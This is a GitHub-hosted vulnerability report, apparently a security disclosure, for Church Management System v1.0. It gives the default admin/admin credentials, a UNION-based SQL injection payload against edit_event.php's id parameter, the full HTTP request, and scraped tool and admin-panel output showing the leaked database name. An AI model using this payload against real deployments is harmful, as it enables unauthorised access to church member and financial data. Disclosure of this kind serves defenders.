

🔑 main ▾

...

bug_report / vendors / Godfrey De Blessed / church-management-system / SQLi-1.md



sunaono1 Create SQLi-1.md

🕒 History

👤 1 contributor

31 lines (21 sloc) | 1.04 KB

...

Church Management System v1.0 by Godfrey De Blessed has SQL injection

BUG_Author: Broccoli

Login account: admin/admin (Super Admin account)

vendors: <https://www.sourcecodester.com/php/11206/church-management-system.html>

The program is built using the xmapp-php8.1 version

Vulnerability File: /cman/admin/edit_event.php?id=

Vulnerability location: /cman/admin/edit_event.php?id=, id

dbname = cman

[+] Payload: /cman/admin/edit_event.php?

id=-1%27%20union%20select%201,database(),3,4--+ // Leak place ---> id

```
GET /cman/admin/edit_event.php?id=-1%27%20union%20select%201,database(),3,4--+ HTTP/
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=fjhrjdpuej6edqv5haoadj31c
Connection: close

SQL BASICSTUNION BASEDERROR/DOUBLE QUERYTOOLSWAF BYPASSENCODINGHTML

Load URL

Split URL

Execute

Post data

Referrer

0xHEX

%URL

BASE64

Insert string to rep

Church manager Admin Panel

Dashboard

manage members

manage Teens & S. School

manage Visitors

Givings/Tithes

Add New Event

Edit member Info.

EDIT EVENT

Edit Event Here:

cman

3

4

SAVE

Note!: Select

Visitor(s) List

Delete

10 rec

EVENT

kenya

geege

kenya